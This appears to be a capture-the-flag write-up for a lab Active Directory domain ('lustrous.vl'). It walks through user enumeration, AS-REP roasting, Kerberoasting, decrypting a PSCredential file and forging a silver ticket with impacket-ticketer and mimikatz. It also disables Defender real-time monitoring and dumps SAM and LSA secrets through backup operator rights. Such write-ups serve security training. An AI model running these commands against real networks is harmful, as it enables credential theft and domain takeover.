User enumeration

We start by running an nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
# Nmap 7.94SVN scan initiated Fri May 30 17:22:13 2025 as: nmap -A -iL ips -sS -p- -oA full

Nmap scan report for 10.10.198.197

Host is up (0.049s latency).

Not shown: 65511 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_12-26-21 11:50AM <DIR> transfer

| ftp-syst:

|_ SYST: Windows_NT

53/tcp open domain Simple DNS Plus

80/tcp open http Microsoft IIS httpd 10.0

|_http-server-header: Microsoft-IIS/10.0

|_http-title: IIS Windows Server

| http-methods:

|Potentially risky methods: TRACE

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-30 21:46:31Z)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: lustrous.vl0., Site: Default-First-Site-Name)

443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| ssl-cert: Subject: commonName=LusDC.lustrous.vl

| Subject Alternative Name: DNS:LusDC.lustrous.vl

| Not valid before: 2021-12-26T09:46:02

|Not valid after: 2022-12-26T00:00:00

|_http-title: Not Found

|_ssl-date: TLS randomness does not represent time

|_http-server-header: Microsoft-HTTPAPI/2.0

| tls-alpn:

|_ http/1.1

445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: lustrous.vl0., Site: Default-First-Site-Name)

3269/tcp open tcpwrapped

3389/tcp open ms-wbt-server Microsoft Terminal Services

| ssl-cert: Subject: commonName=LusDC.lustrous.vl

| Not valid before: 2025-05-29T21:09:49

|Not valid after: 2025-11-28T21:09:49

|_ssl-date: 2025-05-30T21:48:12+00:00; -1s from scanner time.

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-title: Not Found

|_http-server-header: Microsoft-HTTPAPI/2.0

9389/tcp open mc-nmf .NET Message Framing

49664/tcp open msrpc Microsoft Windows RPC

49667/tcp open msrpc Microsoft Windows RPC

49669/tcp open msrpc Microsoft Windows RPC

57557/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

57558/tcp open msrpc Microsoft Windows RPC

57597/tcp open msrpc Microsoft Windows RPC

57614/tcp open msrpc Microsoft Windows RPC

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running (JUST GUESSING): Microsoft Windows 2022 (89%)

Aggressive OS guesses: Microsoft Windows Server 2022 (89%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: Host: LUSDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 3:1:1:

|Message signing enabled and required

| smb2-time:

| date: 2025-05-30T21:47:32

|_ start_date: N/A

TRACEROUTE (using port 21/tcp)

HOP RTT ADDRESS

1 18.79 ms 10.8.0.1

2 19.34 ms 10.10.198.197

Nmap scan report for 10.10.198.198

Host is up (0.049s latency).

Not shown: 65529 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

3389/tcp open ms-wbt-server Microsoft Terminal Services

|_ssl-date: 2025-05-30T21:48:12+00:00; -1s from scanner time.

| ssl-cert: Subject: commonName=LusMS.lustrous.vl

| Not valid before: 2025-05-29T21:09:51

|Not valid after: 2025-11-28T21:09:51

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

49669/tcp open msrpc Microsoft Windows RPC

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running (JUST GUESSING): Microsoft Windows 2022 (88%)

Aggressive OS guesses: Microsoft Windows Server 2022 (88%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 3:1:1:

|Message signing enabled but not required

| smb2-time:

| date: 2025-05-30T21:47:38

|_ start_date: N/A

TRACEROUTE (using port 135/tcp)

HOP RTT ADDRESS

- Hop 1 is the same as for 10.10.198.197

2 18.96 ms 10.10.198.198

Post-scan script results:

| clock-skew:

| 0s:

| 10.10.198.197


|_ 10.10.198.198

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

The scan shows that one of the servers can be accessed anonymously via ftp. Accessing it reveals several user folders

These folders contain no files of interest. However, we can use their names to create a list of domain users and test their validity with Kerbrute.

This ensures that all the usernames in the list are valid usernames.

ASREPROASTING

With the list of valid users, we can check whether any of them has pre-authentication enabled, in order to perform an asreproasting attack. To do this, use the GetNPUsers script from impacket.

We then recover the hash of the password for the ben.cox account, which we break with john, thus recovering the password for this account.

We can then use this account to retrieve the complete list of domain users:

Kerberoasting

With the ben.cox account, we can retrieve the list of users with a SPN in order to carry out a Kerberoasting attack.

We can see that two service accounts have a SPN. By retrieving a TGS from both services, we manage to break the password of the svc_web account with rockyou :

However, after checking bloodhound, this account has no special privileges.

PSCredential decrypt

An analysis of the nmap scan performed at the beginning of this section reveals that winrm is enabled on the machines. Furthermore, ben.cox has winrm access on LUSMS.

When accessing winrm on this machine, a admin.xml file is discovered on the desktop, containing PSCredential identifiers.

A PSCredential object in PowerShell is a special type used to securely store a username and password. It is mainly used to pass credentials to commands or scripts requiring authentication.

The password contained in the PSCredential object is encrypted using DPAPI (Data Protection API), an API built into Windows. This encryption is `user or machine bound’, meaning that only the account that created the password (or the system, depending on the context) can decrypt it.

Here, since we’ve hidden the password from the ben.cox session, we can decrypt this PSCredential to recover the password.
To do this, simply execute the following commands:

1
2
$cred = Import-CLIxml -Path .\admin.xml
$cred.GetNetworkCredential()

This retrieves the password for the machine’s local administrator account:

Secret note access

Once you’ve retrieved all the compromised machine’s secrets (SAM, LSA, etc.), you’ll quickly find yourself stuck. To unblock the situation, we need to review the nmap scan and try to exploit the web service. To do this, you need to modify the host file so that you no longer get the default IIS server page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/ctf/vulnlab/lustrous]

└─$ cat /etc/hosts

127.0.0.1 localhost

127.0.1.1 kali

::1 localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

10.10.153.117 lusdc.lustrous.vl lustrous.vl

After modifying the file, we can access a web page which tells us that our identifiers are invalid, even though we haven’t entered any.

This is because the web application has Kerberos authentication. This means that if the browser supports it, it will automatically try to authenticate with the service tickets on our machine. However, in our case, we don’t have any service tickets to access the machine.
To obtain a service ticket, we can use the ben.cox account, which is a domain account that should enable us to obtain a TGS.

To be able to request a TGS, we first need to modify the krb5.conf file, paying attention to case.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~/ctf/vulnlab/lustrous]

└─$ cat /etc/krb5.conf

[libdefaults]

default_realm = LUSTROUS.VL

dns_lookup_realm = false

dns_lookup_kdc = false

ticket_lifetime = 24h

renew_lifetime = 7d

forwardable = true

[realms]

LUSTROUS.VL = {

kdc = 10.10.153.117

admin_server = 10.10.153.117

}

[domain_realm]

.lustrous.vl = LUSTROUS.VL

lustrous.vl = LUSTROUS.VL

Next, we can request a TGS from the ticket using kinit.

You can then check that the ticket has been retrieved using klist :

Then, by modifying the following keys in firefox about:config, you can tell firefox that you want to authenticate with the TGS on your machine

Firefox key Value
network.negotiate-auth.trusted-uris lusdc.lustrous.vl
network.negotiate-auth.delegation-uris lusdc.lustrous.vl (optional for full SSO)
network.auth.use-sspi false (important under Linux!)
This allows us to access the web page:

We then notice that some users store their password in clear text in this application:

Each user seems to have a personal note, so we’d need to access the notes of each of them in order to retrieve a potential secret.

Silver Ticket

As we compromised the svc_web account earlier, we can use it to generate tickets for any user to access the web service.

To do this, we need several elements:

  • Domain SID: this can easily be obtained with a whoami /user on the compromised machine (don’t forget to remove the number at the end).
1
2
3
4
5
6
7
8
9
10
11
C:\Users\Administrator>whoami /user

USER INFORMATION

----------------

User Name SID

=================== ==========================================

lusms\administrator S-1-5-21-698106580-430135868-959541345-500
  • the NT hash of SVC_WEB: since we have the password, we can generate it easily
  • ID of the account you want to spoof: this can be retrieved from Bloodhound.

Once we have these elements, we can use impacket-ticketer to create a ticket:

1
impacket-ticketer -nthash E67AF8B3D78DF5A02EB0D57B6CB60717 -domain-sid S-1-5-21-2355092754-1584501958-1513963426 -domain lustrous.vl -spn HTTP/lusdc.lustrous.vl -user-id 1114 tony.ward

Or you can do it with mimikatz on the compromised machine, disabling the antivirus first:

1
powershell Set-MpPreference -DisableRealtimeMonitoring 1

After launching mimikatz, you can forge the ticket with the following command:

1
kerberos::golden /domain:lustrous.vl /sid: S-1-5-21-698106580-430135868-959541345 /target:lusdc.lustrous.vl /service:HTTP /rc4:e67af8b3d78df5a02eb0d57b6cb60717 /user:tony.ward /id:1114 /target:lusdc.lustrous.vl /ptt

Then, by quitting mimikatz with exit, we can make a powershell query and retrieve the contents of user tony’s note page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
iwr http://lusdc.lustrous.vl/Internal -UseBasicParsing -UseDefaultCredentials | Select-Object -Expand Content

...

<td>

4

</td>

<td>

Password Reminder

</td>

<td>

U_cPVQqEI50i1X

</td>

<td>

lustrous_tony.ward

</td>

<td>

<a class="btn btn-danger" href="/Internal/DeleteNote/4">Delete</a>

</td>

...

This allows us to retrieve his password and compromise his account:

Backup operator privilege

Next, we discover that the user tony.ward is a member of the backup operators group

This group, which is normally empty, allows all its members to copy any DC file without restriction. In this way, the nxc backup_operator module can be used to retrieve the DC’s SAM, SYSTEM and SECURITY registers and compromise it.

Then, using secretsdump, you can rebuild the SAM and LSA databases:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(kali㉿kali)-[~/ctf/vulnlab/lustrous]

└─$ impacket-secretsdump LOCAL -sam SAM -security SECURITY -system SYSTEM

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x9619c4c8e8d0c1e1314ca899f5573926

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:1e10fc3898a203cbc159f559d8183297:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[*] Dumping cached domain logon information (domain/username:hash)

[*] Dumping LSA Secrets

[*] $MACHINE.ACC

$MACHINE.ACC:plain_password_hex:41876db4b1625ee7cae969de038d0e25a343f0632f4e97912b46996355f4f7be40cf9e69e299623a918c24fed6c05bed31540174ea4e879e9e59f52996601ce605eb3fb2be0539c6f19e2c9780172a35cdb3c070dc8e58b31c4c495f816446856b34707d3681999c6b2c086a851f2387eae25752eb1f85231f26f23754d7d3cc733eb7a2657105b7b6d51907d0db04cf688376ed237e86390b95e100a5921c726114f064b39434e8c2b4748315ae9e4a6d3853ec94dc9db4af69125705bbbb98e2edcf412a0a53fc451e7a8534b1dd7b2bb1783b84602c0792dc5cd1dbfcd85a3ba6fb54ba7956f93e8cf802590fe7be

$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:882a8fdcbc8336538d006aae92236771

[*] DPAPI_SYSTEM

dpapi_machinekey:0x908c1b9d1eba6062f66247d016952eab010c4f62

dpapi_userkey:0xe7d85d4c5db116a07bd02c655623691eae32c387

[*] NL$KM

0000 B6 96 C7 7E 17 8A 0C DD 8C 39 C2 0A A2 91 24 44 ...~.....9....$D

0010 A2 E4 4D C2 09 59 46 C0 7F 95 EA 11 CB 7F CB 72 ..M..YF........r

0020 EC 2E 5A 06 01 1B 26 FE 6D A7 88 0F A5 E7 1F A5 ..Z...&.m.......

0030 96 CD E5 3F A0 06 5E C1 A5 01 A1 CE 8C 24 76 95 ...?..^......$v.

NL$KM:b696c77e178a0cdd8c39c20aa2912444a2e44dc2095946c07f95ea11cb7fcb72ec2e5a06011b26fe6da7880fa5e71fa596cde53fa0065ec1a501a1ce

8c247695

[*] Cleaning up...

Using the dc’s machine account which has DCSYNC rights, we can then retrieve the DC’s NTDS database and compromise the domain: